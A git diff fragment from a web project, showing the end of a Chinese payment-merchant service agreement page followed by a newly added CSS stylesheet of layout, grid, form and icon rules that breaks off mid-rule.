                                  10.2无论你的系统商户号是否被注销,系统均有权依据法律规定或国家机关的合法要求,冻结、扣划你系统商户号中的资金。

                                  十一、免责条款

                                  11.1因受不可抗力影响而不能履行或不能完全履行本协议的一方可以免除责任。不可抗力是指本协议各方不能预见、不能避免、不能克服的客观情况。此外,鉴于网络之特殊属性,发生包括但不限于下列任何情形导致系统不能履行本协议下义务的,各方可以免责:

                                  (1)黑客攻击、计算机病毒侵入或发作;

                                  (2)计算机系统遭到破坏、瘫痪或无法正常使用而导致信息或纪录的丢失、系统不能提供本协议项下之服务的;

                                  (3)电信部门技术调整导致之重大影响的;

                                  (4)因政府管制而造成服务终止的;

                                  (5)其它非各方原因造成的。

                                  11.2遇上述不可抗力事件的任何一方,应将该事件立即书面通知其他方。各方按照事件对协议履行的影响程度,再行决定是否继续履行本协议。

                                  十二、风险提示及特别约定

                                  12.1各方对于“中国国内电子商务环境尚未成熟,电子商务立法以及信用体制还不完善”的现状以及开展电子商务业务存在的风险性均完全知悉,各方均承诺采取合理的风险防范措施,以尽量避免或减小风险。

                                  12.2本服务交易过程中,你应积极防范银行卡持卡人拒付风险,及时解决交易中出现的问题:

                                  (1)若在交易中如出现包括但不限于交易不真实、欺诈、伪冒交易、持卡人账户信息泄漏或你违反国家法律规定或你违反对用户的承诺以及你违反与系统的约定之情形,你应自行承担上述情形造成的全部损失;

                                  (2)若在交易中如出现持卡人否认交易、持卡人拒付、集中转入分散转出等可疑情形的,你应依据本协议第4.8和4.9条之要求向系统提供相应的交易凭证,若你怠于提供凭证,或你提供的凭证不符合相关行业内标准,或在系统书面通知(含电子邮件通知)后你未及时停止可疑交易、控制相应资金的等,你应自行承担上述情形造成的全部损失。

                                  你因上述情形给系统造成损失的,系统有权直接从你的保证金中扣回与损失金额同等的金额,你需及时补足保证金。保证金不足以赔偿的,系统可以直接从你的待结算款项中扣划,仍不足以赔偿的,可以继续向你追偿。

                                  12.3你在进行支付交易的过程中,应严格遵守中国人民银行网上银行业务和信用卡交易相关的政策法规,不得进行虚假交易、非法套现、洗钱等行为。你不得直接或变相从事互联网赌博、色情平台,互联网销售彩票平台,非法外汇、贵金属投资交易平台,非法证券期货类交易平台,代币发行融资及虚拟货币交易平台,也不得未经监管部门批准通过互联网开展资产管理业务以及未取得省级政府批文的大宗商品交易场所等非法交易,否则系统有权终止为其提供支付结算服务。

                                  12.4如你申请开通大额支付功能,应确认并同意遵守如下条款:“你保证将系统所提供的大额支付功能用于实名制业务,否则,你应承担因违反上述承诺而造成的一切风险和法律责任,你应对受损方作出无条件的先行赔付。

                                  实名制业务,指用户使用系统提供的在线支付服务购买商品或服务时,该用户提交了所购买商品或服务的最终接收方(或服务的最终受益方)的姓名、身份证号码等真实身份信息的业务

                                  十三、知识产权

                                  13.1系统在本合作中提供的内容(包括但不限于商标、标识、网页、文字、图片等)的知识产权归系统所有。

                                  13.2除另有特别声明外,系统在本合作中提供的软件系统、技术接口、安全证书等所依托的著作权、专利权及其他知识产权均归系统所有。

                                  13.3上述知识产权均受到法律保护,未经系统或相关权利人许可,不得以任何形式进行使用或创造相关衍生作品。

                                  13.4系统对带有系统字样、标识、logo、图片等信息的物料、宣传资料和扫码设备享有知识产权,你不得在经营场所实施或协助、放任他人实施替换、遮盖、涂抹、藏匿、毁坏带有系统字样、标识、logo、图片等信息的物料、宣传资料和扫码设备的行为,否则,你应按照系统的要求恢复原状、赔偿损失。

                                  十四、协议变更

                                  系统有权根据需要不时地制定、修改本协议,如本协议有任何变更,财付将对变更事项在商户平台进行公告。如你不同意相关变更,必须立即以书面的方式通知系统终止为你提供服务。任何修订或新协议将按照法律法规及监管规定在微信公众平台上公布生效。你登录或继续使用服务即表示你接受经修订的协议。

                                  十五、适用法律及争议解决

                                  15.1本协议之解释、适用、争议解决等一切事宜,均适用中华人民共和国大陆地区法律。

                                  15.2因本协议产生任何纠纷时,各方应友好协商,协商不成的,各方应将争议提交系统所在地有管辖权的人民法院诉讼解决。

                                  十六、协议有效期、自动续期和提前终止协议

                                  16.1本协议的有效时间以商户平台确认的时间为准,默认为长期有效;除本协议5.1.2、5.1.3条约定之情形外,若系统在协议有效期内提出费率变更请求,并以微信消息、电子邮件或商户平台信息等形式通知你,自信息发出之日起30日内,你继续使用本服务的,系统有权自30日届满之日起按照变更后的费率向你收取手续费,并从你的待结算款中扣除。

                                  16.2各方有权基于各自的营运需要提前终止本协议,且无需承担任何法律责任。需提前终止本协议的,主动提出方应提前一个月以书面或电子邮件形式通知各方。

                                  16.3协议解除或终止后,涉及到保证金、退款和保密的条款依然有效,各方应继续遵照执行。

                                  16.4本协议一式貳份,双方各执壹份,具有同等法律效力。

                                  +
                                  +
                                  +
                                  +
                                  + \ No newline at end of file diff --git a/template/index1/assets/css/main.css b/template/index1/assets/css/main.css new file mode 100644 index 0000000..935f750 --- /dev/null +++ b/template/index1/assets/css/main.css @@ -0,0 +1,845 @@ +a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;vertical-align:baseline;font-family:"Microsoft YaHei",Lato,"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:400} +article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block} +body,html{height:100%} +body{line-height:1} +li,ol,ul{list-style:none} +blockquote,q{quotes:none} +blockquote:after,blockquote:before,q:after,q:before{content:'';content:none} +table{border-collapse:collapse;border-spacing:0} +body{-webkit-text-size-adjust:none} +*,:after,:before{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box} +.container{margin-left:auto;margin-right:auto} +.container.\31 25\25{width:100%;max-width:1200px;min-width:960px} +.container.\37 5\25{width:720px} +.container.\35 0\25{width:480px} +.container.\32 5\25{width:240px} +.container{width:1200px} +@media screen and (max-width:1800px){.container.\31 25\25{width:100%;max-width:1200px;min-width:960px} +.container.\37 5\25{width:720px} +.container.\35 0\25{width:480px} +.container.\32 5\25{width:240px} +.container{width:1200px} +} +@media screen and (max-width:1280px){.container.\31 25\25{width:100%;max-width:1200px;min-width:960px} +.container.\37 5\25{width:720px} +.container.\35 0\25{width:480px} +.container.\32 5\25{width:240px} +.container{width:960px} +} +@media screen and (max-width:980px){.container.\31 25\25{width:100%;max-width:1200px;min-width:960px} +.container.\37 5\25{width:720px} +.container.\35 0\25{width:480px} +.container.\32 5\25{width:240px} +.container{width:800px} +} +@media screen and (max-width:840px){.container.\31 25\25{width:100%;max-width:112.5%;min-width:90%} +.container.\37 5\25{width:67.5%} +.container.\35 0\25{width:45%} +.container.\32 5\25{width:22.5%} +.container{width:90%!important} +} +@media screen and (max-width:736px){.container.\31 25\25{width:100%;max-width:1200px;min-width:960px} +.container.\37 5\25{width:720px} +.container.\35 0\25{width:480px} +.container.\32 5\25{width:240px} +.container{width:90%} +} +@media screen and (max-width:480px){.container.\31 25\25{width:100%;max-width:1200px;min-width:960px} +.container.\37 5\25{width:720px} +.container.\35 0\25{width:480px} +.container.\32 5\25{width:240px} +.container{width:90%} +} +.row{border-bottom:solid 1px transparent;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box} +.row>*{float:left;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box} +.row:after,.row:before{content:'';display:block;clear:both;height:0} +.row.uniform>*>:first-child{margin-top:0} +.row.uniform>*>:last-child{margin-bottom:0} +.row.\30 \25>*{padding:0} +.row.\30 \25{margin:0 0 -1px 0} +.row.uniform.\30 \25>*{padding:0} +.row.uniform.\30 \25{margin:0 0 -1px 0} +.row>*{padding:0 0 0 40px} +.row{margin:0 0 -1px -40px} +.row.uniform>*{padding:40px 0 0 40px} +.row.uniform{margin:-40px 0 -1px -40px} +.row.\32 00\25>*{padding:0 0 0 80px} +.row.\32 00\25{margin:0 0 -1px -80px} +.row.uniform.\32 00\25>*{padding:80px 0 0 80px} +.row.uniform.\32 00\25{margin:-80px 0 -1px -80px} +.row.\31 50\25>*{padding:0 0 0 60px} +.row.\31 50\25{margin:0 0 -1px -60px} +.row.uniform.\31 50\25>*{padding:60px 0 0 60px} +.row.uniform.\31 50\25{margin:-60px 0 -1px -60px} +.row.\35 0\25>*{padding:0 0 0 20px} +.row.\35 0\25{margin:0 0 -1px -20px} +.row.uniform.\35 0\25>*{padding:20px 0 0 20px} +.row.uniform.\35 0\25{margin:-20px 0 -1px -20px} +.row.\32 5\25>*{padding:0 0 0 10px} +.row.\32 5\25{margin:0 0 -1px -10px} +.row.uniform.\32 5\25>*{padding:10px 0 0 10px} +.row.uniform.\32 5\25{margin:-10px 0 -1px -10px} +.\31 2u,.\31 2u\24{width:100%;clear:none;margin-left:0} +.\31 1u,.\31 1u\24{width:91.6666666667%;clear:none;margin-left:0} +.\31 0u,.\31 0u\24{width:83.3333333333%;clear:none;margin-left:0} +.\39 u,.\39 u\24{width:75%;clear:none;margin-left:0} +.\38 u,.\38 u\24{width:66.6666666667%;clear:none;margin-left:0} +.\37 u,.\37 u\24{width:58.3333333333%;clear:none;margin-left:0} +.\36 u,.\36 u\24{width:50%;clear:none;margin-left:0} +.\35 u,.\35 u\24{width:41.6666666667%;clear:none;margin-left:0} +.\34 u,.\34 u\24{width:33.3333333333%;clear:none;margin-left:0} +.\33 u,.\33 u\24{width:25%;clear:none;margin-left:0} +.\32 u,.\32 u\24{width:16.6666666667%;clear:none;margin-left:0} +.\31 u,.\31 u\24{width:8.3333333333%;clear:none;margin-left:0} +.\31 0u\24+*,.\31 1u\24+*,.\31 2u\24+*,.\31 u\24+*,.\32 u\24+*,.\33 u\24+*,.\34 u\24+*,.\35 u\24+*,.\36 u\24+*,.\37 u\24+*,.\38 u\24+*,.\39 u\24+*{clear:left} +.\-11u{margin-left:91.66667%} +.\-10u{margin-left:83.33333%} +.\-9u{margin-left:75%} +.\-8u{margin-left:66.66667%} +.\-7u{margin-left:58.33333%} +.\-6u{margin-left:50%} +.\-5u{margin-left:41.66667%} +.\-4u{margin-left:33.33333%} +.\-3u{margin-left:25%} +.\-2u{margin-left:16.66667%} +.\-1u{margin-left:8.33333%} +@media screen and (min-width:737px){.row>*{padding:50px 0 0 50px} +.row{margin:-50px 0 -1px -50px} +.row.uniform>*{padding:50px 0 0 50px} +.row.uniform{margin:-50px 0 -1px -50px} +.row.\32 00\25>*{padding:100px 0 0 100px} +.row.\32 00\25{margin:-100px 0 -1px -100px} +.row.uniform.\32 00\25>*{padding:100px 0 0 100px} +.row.uniform.\32 00\25{margin:-100px 0 -1px -100px} +.row.\31 50\25>*{padding:75px 0 0 75px} +.row.\31 50\25{margin:-75px 0 -1px -75px} +.row.uniform.\31 50\25>*{padding:75px 0 0 75px} +.row.uniform.\31 50\25{margin:-75px 0 -1px -75px} +.row.\35 0\25>*{padding:25px 0 0 25px} +.row.\35 0\25{margin:-25px 0 -1px -25px} +.row.uniform.\35 0\25>*{padding:25px 0 0 25px} +.row.uniform.\35 0\25{margin:-25px 0 -1px -25px} +.row.\32 5\25>*{padding:12.5px 0 0 12.5px} +.row.\32 5\25{margin:-12.5px 0 -1px -12.5px} +.row.uniform.\32 5\25>*{padding:12.5px 0 0 12.5px} +.row.uniform.\32 5\25{margin:-12.5px 0 -1px -12.5px} +.\31 2u\24\28desktop\29,.\31 2u\28desktop\29{width:100%;clear:none;margin-left:0} +.\31 1u\24\28desktop\29,.\31 1u\28desktop\29{width:91.6666666667%;clear:none;margin-left:0} +.\31 0u\24\28desktop\29,.\31 0u\28desktop\29{width:83.3333333333%;clear:none;margin-left:0} +.\39 u\24\28desktop\29,.\39 u\28desktop\29{width:75%;clear:none;margin-left:0} +.\38 u\24\28desktop\29,.\38 u\28desktop\29{width:66.6666666667%;clear:none;margin-left:0} +.\37 u\24\28desktop\29,.\37 u\28desktop\29{width:58.3333333333%;clear:none;margin-left:0} +.\36 u\24\28desktop\29,.\36 u\28desktop\29{width:50%;clear:none;margin-left:0} +.\35 u\24\28desktop\29,.\35 u\28desktop\29{width:41.6666666667%;clear:none;margin-left:0} +.\34 u\24\28desktop\29,.\34 u\28desktop\29{width:33.3333333333%;clear:none;margin-left:0} +.\33 u\24\28desktop\29,.\33 u\28desktop\29{width:25%;clear:none;margin-left:0} +.\32 u\24\28desktop\29,.\32 u\28desktop\29{width:16.6666666667%;clear:none;margin-left:0} +.\31 u\24\28desktop\29,.\31 u\28desktop\29{width:8.3333333333%;clear:none;margin-left:0} +.\31 0u\24\28desktop\29+*,.\31 1u\24\28desktop\29+*,.\31 2u\24\28desktop\29+*,.\31 u\24\28desktop\29+*,.\32 u\24\28desktop\29+*,.\33 u\24\28desktop\29+*,.\34 u\24\28desktop\29+*,.\35 u\24\28desktop\29+*,.\36 u\24\28desktop\29+*,.\37 u\24\28desktop\29+*,.\38 u\24\28desktop\29+*,.\39 u\24\28desktop\29+*{clear:left} +.\-11u\28desktop\29{margin-left:91.66667%} +.\-10u\28desktop\29{margin-left:83.33333%} +.\-9u\28desktop\29{margin-left:75%} +.\-8u\28desktop\29{margin-left:66.66667%} +.\-7u\28desktop\29{margin-left:58.33333%} +.\-6u\28desktop\29{margin-left:50%} +.\-5u\28desktop\29{margin-left:41.66667%} +.\-4u\28desktop\29{margin-left:33.33333%} +.\-3u\28desktop\29{margin-left:25%} +.\-2u\28desktop\29{margin-left:16.66667%} +.\-1u\28desktop\29{margin-left:8.33333%} +} +@media screen and (min-width:737px) and (max-width:1200px){.row>*{padding:25px 0 0 25px} +.row{margin:-25px 0 -1px -25px} +.row.uniform>*{padding:25px 0 0 25px} +.row.uniform{margin:-25px 0 -1px -25px} +.row.\32 00\25>*{padding:50px 0 0 50px} +.row.\32 00\25{margin:-50px 0 -1px -50px} +.row.uniform.\32 00\25>*{padding:50px 0 0 50px} +.row.uniform.\32 00\25{margin:-50px 0 -1px -50px} +.row.\31 50\25>*{padding:37.5px 0 0 37.5px} +.row.\31 50\25{margin:-37.5px 0 -1px -37.5px} +.row.uniform.\31 50\25>*{padding:37.5px 0 0 37.5px} +.row.uniform.\31 50\25{margin:-37.5px 0 -1px -37.5px} +.row.\35 0\25>*{padding:12.5px 0 0 12.5px} +.row.\35 0\25{margin:-12.5px 0 -1px -12.5px} +.row.uniform.\35 0\25>*{padding:12.5px 0 0 12.5px} +.row.uniform.\35 0\25{margin:-12.5px 0 -1px -12.5px} +.row.\32 5\25>*{padding:6.25px 0 0 6.25px} +.row.\32 5\25{margin:-6.25px 0 -1px -6.25px} +.row.uniform.\32 5\25>*{padding:6.25px 0 0 6.25px} +.row.uniform.\32 5\25{margin:-6.25px 0 -1px -6.25px} +.\31 2u\24\28tablet\29,.\31 2u\28tablet\29{width:100%;clear:none;margin-left:0} +.\31 1u\24\28tablet\29,.\31 1u\28tablet\29{width:91.6666666667%;clear:none;margin-left:0} +.\31 0u\24\28tablet\29,.\31 0u\28tablet\29{width:83.3333333333%;clear:none;margin-left:0} +.\39 u\24\28tablet\29,.\39 u\28tablet\29{width:75%;clear:none;margin-left:0} +.\38 u\24\28tablet\29,.\38 u\28tablet\29{width:66.6666666667%;clear:none;margin-left:0} +.\37 u\24\28tablet\29,.\37 u\28tablet\29{width:58.3333333333%;clear:none;margin-left:0} +.\36 u\24\28tablet\29,.\36 u\28tablet\29{width:50%;clear:none;margin-left:0} +.\35 u\24\28tablet\29,.\35 u\28tablet\29{width:41.6666666667%;clear:none;margin-left:0} +.\34 u\24\28tablet\29,.\34 u\28tablet\29{width:33.3333333333%;clear:none;margin-left:0} +.\33 u\24\28tablet\29,.\33 u\28tablet\29{width:25%;clear:none;margin-left:0} +.\32 u\24\28tablet\29,.\32 u\28tablet\29{width:16.6666666667%;clear:none;margin-left:0} +.\31 u\24\28tablet\29,.\31 u\28tablet\29{width:8.3333333333%;clear:none;margin-left:0} +.\31 0u\24\28tablet\29+*,.\31 1u\24\28tablet\29+*,.\31 2u\24\28tablet\29+*,.\31 u\24\28tablet\29+*,.\32 u\24\28tablet\29+*,.\33 u\24\28tablet\29+*,.\34 u\24\28tablet\29+*,.\35 u\24\28tablet\29+*,.\36 u\24\28tablet\29+*,.\37 u\24\28tablet\29+*,.\38 u\24\28tablet\29+*,.\39 u\24\28tablet\29+*{clear:left} +.\-11u\28tablet\29{margin-left:91.66667%} +.\-10u\28tablet\29{margin-left:83.33333%} +.\-9u\28tablet\29{margin-left:75%} +.\-8u\28tablet\29{margin-left:66.66667%} +.\-7u\28tablet\29{margin-left:58.33333%} +.\-6u\28tablet\29{margin-left:50%} +.\-5u\28tablet\29{margin-left:41.66667%} +.\-4u\28tablet\29{margin-left:33.33333%} +.\-3u\28tablet\29{margin-left:25%} +.\-2u\28tablet\29{margin-left:16.66667%} +.\-1u\28tablet\29{margin-left:8.33333%} +} +@media screen and (max-width:736px){.row>*{padding:20px 0 0 20px} +.row{margin:-20px 0 -1px -20px} +.row.uniform>*{padding:20px 0 0 20px} +.row.uniform{margin:-20px 0 -1px -20px} +.row.\32 00\25>*{padding:40px 0 0 40px} +.row.\32 00\25{margin:-40px 0 -1px -40px} +.row.uniform.\32 00\25>*{padding:40px 0 0 40px} +.row.uniform.\32 00\25{margin:-40px 0 -1px -40px} +.row.\31 50\25>*{padding:30px 0 0 30px} +.row.\31 50\25{margin:-30px 0 -1px -30px} +.row.uniform.\31 50\25>*{padding:30px 0 0 30px} +.row.uniform.\31 50\25{margin:-30px 0 -1px -30px} +.row.\35 0\25>*{padding:10px 0 0 10px} +.row.\35 0\25{margin:-10px 0 -1px -10px} +.row.uniform.\35 0\25>*{padding:10px 0 0 10px} +.row.uniform.\35 0\25{margin:-10px 0 -1px -10px} +.row.\32 5\25>*{padding:5px 0 0 5px} +.row.\32 5\25{margin:-5px 0 -1px -5px} +.row.uniform.\32 5\25>*{padding:5px 0 0 5px} +.row.uniform.\32 5\25{margin:-5px 0 -1px -5px} +.\31 2u\24\28mobile\29,.\31 2u\28mobile\29{width:100%;clear:none;margin-left:0} +.\31 1u\24\28mobile\29,.\31 1u\28mobile\29{width:91.6666666667%;clear:none;margin-left:0} +.\31 0u\24\28mobile\29,.\31 0u\28mobile\29{width:83.3333333333%;clear:none;margin-left:0} +.\39 u\24\28mobile\29,.\39 u\28mobile\29{width:75%;clear:none;margin-left:0} +.\38 u\24\28mobile\29,.\38 u\28mobile\29{width:66.6666666667%;clear:none;margin-left:0} +.\37 u\24\28mobile\29,.\37 u\28mobile\29{width:58.3333333333%;clear:none;margin-left:0} +.\36 u\24\28mobile\29,.\36 u\28mobile\29{width:50%;clear:none;margin-left:0} +.\35 u\24\28mobile\29,.\35 u\28mobile\29{width:41.6666666667%;clear:none;margin-left:0} +.\34 u\24\28mobile\29,.\34 u\28mobile\29{width:33.3333333333%;clear:none;margin-left:0} +.\33 u\24\28mobile\29,.\33 u\28mobile\29{width:25%;clear:none;margin-left:0} +.\32 u\24\28mobile\29,.\32 u\28mobile\29{width:16.6666666667%;clear:none;margin-left:0} +.\31 u\24\28mobile\29,.\31 u\28mobile\29{width:8.3333333333%;clear:none;margin-left:0} +.\31 0u\24\28mobile\29+*,.\31 1u\24\28mobile\29+*,.\31 2u\24\28mobile\29+*,.\31 u\24\28mobile\29+*,.\32 u\24\28mobile\29+*,.\33 u\24\28mobile\29+*,.\34 u\24\28mobile\29+*,.\35 u\24\28mobile\29+*,.\36 u\24\28mobile\29+*,.\37 u\24\28mobile\29+*,.\38 u\24\28mobile\29+*,.\39 u\24\28mobile\29+*{clear:left} +.\-11u\28mobile\29{margin-left:91.66667%} +.\-10u\28mobile\29{margin-left:83.33333%} +.\-9u\28mobile\29{margin-left:75%} +.\-8u\28mobile\29{margin-left:66.66667%} +.\-7u\28mobile\29{margin-left:58.33333%} +.\-6u\28mobile\29{margin-left:50%} +.\-5u\28mobile\29{margin-left:41.66667%} +.\-4u\28mobile\29{margin-left:33.33333%} +.\-3u\28mobile\29{margin-left:25%} +.\-2u\28mobile\29{margin-left:16.66667%} +.\-1u\28mobile\29{margin-left:8.33333%} +} +body{background:#fff} +body.is-loading *,body.is-loading :after,body.is-loading :before{-moz-animation:none!important;-webkit-animation:none!important;-ms-animation:none!important;animation:none!important;-moz-transition:none!important;-webkit-transition:none!important;-ms-transition:none!important;transition:none!important} +body,input,select,textarea{color:#777;font-size:14pt;font-weight:400;line-height:1.75em} +a{-moz-transition:color .2s ease-in-out,border-color .2s ease-in-out;-webkit-transition:color .2s ease-in-out,border-color .2s ease-in-out;-ms-transition:color .2s ease-in-out,border-color .2s ease-in-out;transition:color .2s ease-in-out,border-color .2s ease-in-out;color:#2695ef;text-decoration:none} +a:hover{border-bottom-color:transparent;color:#2695ef!important;text-decoration:none} +b,strong{color:#787878;font-weight:400} +em,i{font-style:italic} +p{margin:0 0 1em 0;font-size:.8em} +h1,h2,h3,h4,h5,h6{color:#333;font-weight:400;line-height:1em;margin:0 0 1em 0} +h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit;text-decoration:none} +h1{font-size:2em;line-height:1.5em} +h2{font-size:1.5em;line-height:1.5em} +h3{font-size:1.25em;line-height:1.5em} +h4{font-size:1.1em;line-height:1.5em} +h5{font-size:.9em;line-height:1.5em} +h6{font-size:.7em;line-height:1.5em} +sub{font-size:.8em;position:relative;top:.5em} +sup{font-size:.8em;position:relative;top:-.5em} +hr{border:0;border-bottom:solid 2px #e0e0e0;margin:2em 0} +hr.major{margin:3em 0} +blockquote{border-left:solid 6px #e0e0e0;font-style:italic;margin:0 0 2em 0;padding:.5em 0 .5em 1.5em} +code{background:#f7f7f7;border-radius:.35em;border:solid 2px #e0e0e0;font-family:"Courier New",monospace;font-size:.9em;margin:0 .25em;padding:.25em .65em} +pre{-webkit-overflow-scrolling:touch;font-family:"Courier New",monospace;font-size:.9em;margin:0 0 2em 0} +pre code{display:block;line-height:1.75em;padding:1em 1.5em;overflow-x:auto} +.align-left{text-align:left} +.align-center{text-align:center} +.align-right{text-align:right} +.float_left{float:left} +.float_right{float:right} +.clearfix:after{content:".";display:block;height:0;clear:both;visibility:hidden} +.orange{color:#e95513} +.yellow{color:#eba823} +.blue{color:#0767aa} +.green{color:#8cbc21} +article,section{margin-bottom:2.5em} +article:last-child,article>:last-child,section:last-child,section>:last-child{margin-bottom:0} +header.major{position:relative;text-align:center;border-top:solid 1px #ccc;top:1em;margin:0 0 3em 0} +header.major h2{background:#fff;position:relative;top:-.75em;display:inline;margin:0;padding:0 1em 0 1em} +header.white h2{color:#fff;margin-bottom:1.5em;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.5)} +header.black{margin-bottom:2em;text-align:center} +.box{background:rgba(255,255,255,.8);padding:2em 0 2em 0} +.box_item{text-align:center;padding:0 2em 0 2em} +.box_item .content p{line-height:1.6em;height:4.8em;overflow:hidden} +@media screen and (min-width:736px) and (max-width:980px){.box_item{padding:0 1em 0 1em} +} +form{margin:0 0 1.5em 0} +form>.field{margin:0 0 1.5em 0;position:relative} +form>.field>:last-child{margin-bottom:0} +label{color:#313f47;display:block;font-size:.9em;margin:0 0 .75em 0} +input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{-moz-appearance:none;-webkit-appearance:none;-ms-appearance:none;appearance:none;border-radius:4px;border:solid 1px #c8cccf;color:inherit;display:block;outline:0;padding:0 1em;text-decoration:none;width:100%;font-size:.9em} +input[type=email]:invalid,input[type=password]:invalid,input[type=tel]:invalid,input[type=text]:invalid,select:invalid,textarea:invalid{box-shadow:none} +input[type=email]:focus,input[type=password]:focus,input[type=tel]:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#b2b2b2;outline:0} +input[type=email].orange_line,input[type=password].orange_line,input[type=tel].orange_line,input[type=text].orange_line,textarea.orange_line{border-color:#e95513} +.select-wrapper{text-decoration:none;display:block;position:relative} +.select-wrapper:before{content:"";-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;font-family:FontAwesome;font-style:normal;font-weight:400;text-transform:none!important} +.select-wrapper:before{color:#c8cccf;display:block;height:2.75em;line-height:2.75em;pointer-events:none;position:absolute;right:0;text-align:center;top:0;width:2.75em} +.select-wrapper select::-ms-expand{display:none} +input[type=email],input[type=password],input[type=text],select{height:2.75em} +textarea{padding:.75em 1em} +input[type=checkbox],input[type=radio]{-moz-appearance:none;-webkit-appearance:none;-ms-appearance:none;appearance:none;display:block;float:left;margin-right:-2em;opacity:0;width:1em;z-index:-1} +input[type=checkbox]+label,input[type=radio]+label{text-decoration:none;color:#414f57;cursor:pointer;display:inline-block;font-size:1em;font-weight:300;padding-left:2.4em;padding-right:.75em;position:relative} +input[type=checkbox]+label:before,input[type=radio]+label:before{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;font-family:FontAwesome;font-style:normal;font-weight:400;text-transform:none!important} +input[type=checkbox]+label:before,input[type=radio]+label:before{border-radius:4px;border:solid 1px #c8cccf;content:'';display:inline-block;height:1.65em;left:0;line-height:1.58125em;position:absolute;text-align:center;top:.15em;width:1.65em} +input[type=checkbox]:checked+label:before,input[type=radio]:checked+label:before{color:#2695ef;content:'\f00c'} +input[type=checkbox]:focus+label:before,input[type=radio]:focus+label:before{border-color:#2695ef} +input[type=checkbox]+label:before{border-radius:4px} +input[type=radio]+label:before{border-radius:100%} +::-webkit-input-placeholder{color:#616f77!important;opacity:1} +:-moz-placeholder{color:#616f77!important;opacity:1} +::-moz-placeholder{color:#616f77!important;opacity:1} +:-ms-input-placeholder{color:#616f77!important;opacity:1} +.formerize-placeholder{color:#616f77!important;opacity:1} +input.short_input{width:60%} +form>.field .button.message{padding:0;width:38%;line-height:2.75em;height:2.75em;font-size:.9em;position:absolute;right:0;top:0} +.api_form{padding-top:2em} +form>.field.small_field .row>*{padding-top:20px} +form>.field.small_field label{font-size:.8em} +form>.field.small_field input[type=email],form>.field.small_field input[type=password],form>.field.small_field input[type=tel],form>.field.small_field input[type=text],form>.field.small_field select,form>.field.small_field textarea{font-size:.8em} +form>.field.small_field .select-wrapper:before{height:2.25em;line-height:2.25em} +@media screen and (max-width:736px){form>.field.small_field .row>*{padding-top:5px} +} +.icon{position:relative;text-decoration:none} +.icon:before{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;font-family:FontAwesome;font-style:normal;font-weight:400;text-transform:none!important} +.icon>.label{display:none} +.icon.featured{position:relative;display:inline-block;background-color:#f778a5;width:7em;padding:1.75em 0 .75em 0;border-top-left-radius:5px;border-top-right-radius:5px;margin:0 0 3.5em 0;cursor:default} +.icon.featured:before{font-size:3.5em;line-height:1em;color:#fff} +.icon.featured:after{content:'';position:absolute;bottom:-1.99em;left:0;border-top:solid 2em #f778a5;border-left:solid 3.5em transparent;border-right:solid 3.5em transparent} +.icon.featured.alt{background-color:#7ac0fb} +.icon.featured.alt:after{border-top-color:#7ac0fb} +.icon.featured.alt2{background-color:#fccb65} +.icon.featured.alt2:after{border-top-color:#fccb65} +.icon.round_icon{position:relative;display:inline-block;background-color:#0767aa;width:6em;height:6em;line-height:6em;border-radius:100%;margin:0 0 1em 0;cursor:default} +.icon.round_icon:before{font-size:2.5em;color:#fff} +.icon.round_icon.bg_red{background-color:#f778a5} +.icon.round_icon.bg_yellow{background-color:#fccb65} +.icon.round_icon.bg_blue{background-color:#7ac0fb} +.icon.round_icon.round_border{background-color:#fff;border:1px solid #0767aa} +.icon.round_icon.round_border:before{color:#0767aa} +.image{border:0;display:inline-block;position:relative;overflow:hidden} +.image img{display:block;width:100%} +.image.left,.image.right{max-width:40%} +.image.left img,.image.right img{width:100%} +.image.left{float:left;margin:0 1.5em 1em 0;top:.25em} +.image.right{float:right;margin:0 0 1em 1.5em;top:.25em} +.image.fit{display:block;margin:0 0 2em 0;width:100%} +.image.fit img{width:100%} +.image.featured{display:block;width:100%;margin:0 0 1em 0;text-align:center} +.image.featured img{display:inline-block;width:211px;height:211px} +@media screen and (min-width:736px) and (max-width:980px){.image.featured img{width:140px;height:140px} +} +ol{list-style:decimal;margin:0 0 2em 0;padding-left:1.25em} +ol li{padding-left:.25em} +ul{list-style:disc;margin:0;padding:0} +ul li{margin:0;padding:0} +ul.alt{list-style:none;padding-left:0} +ul.alt li{border-top-style:solid;border-top-width:1px;padding:.5em 0} +ul.alt li:first-child{border-top:0;padding-top:0} +ul.icons{cursor:default;list-style:none;padding-left:0} +ul.icons li{display:inline-block;padding:0 1.5em 0 0} +ul.icons li:last-child{padding-right:0!important} +ul.icons li .icon:before{font-size:1.75rem} +ul.icons.major li{padding:0 2.5em 0 0} +ul.icons.major li .icon:before{font-size:2.75rem} +@media screen and (max-width:736px){ul.icons.major li{padding:0 1.25em 0 0} +ul.icons.major li .icon:before{font-size:1.75rem} +} +ul.icons.labeled li{margin:1em 0;padding:0 2em 0 0} +ul.icons.labeled li .icon:before{vertical-align:middle;font-size:2.25rem;margin-right:.5em} +ul.icons.labeled li .icon .label{display:inline-block;vertical-align:middle;color:#999} +@media screen and (max-width:736px) and (orientation:portrait){ul.icons.labeled{text-align:left;margin-right:auto;margin-left:auto;display:inline-block;white-space:nowrap} +ul.icons.labeled li{display:block;padding:0;margin:1.5em 0 0 0} +ul.icons.labeled li .icon:before{width:1.5em;display:block;float:left;margin-right:0} +ul.icons.labeled li .icon:after{content:'';display:block;clear:both} +ul.icons.labeled li:first-child{margin-top:0} +} +ul.actions{cursor:default;list-style:none;padding-left:0} +ul.actions li{display:inline-block;padding:0 1em 0 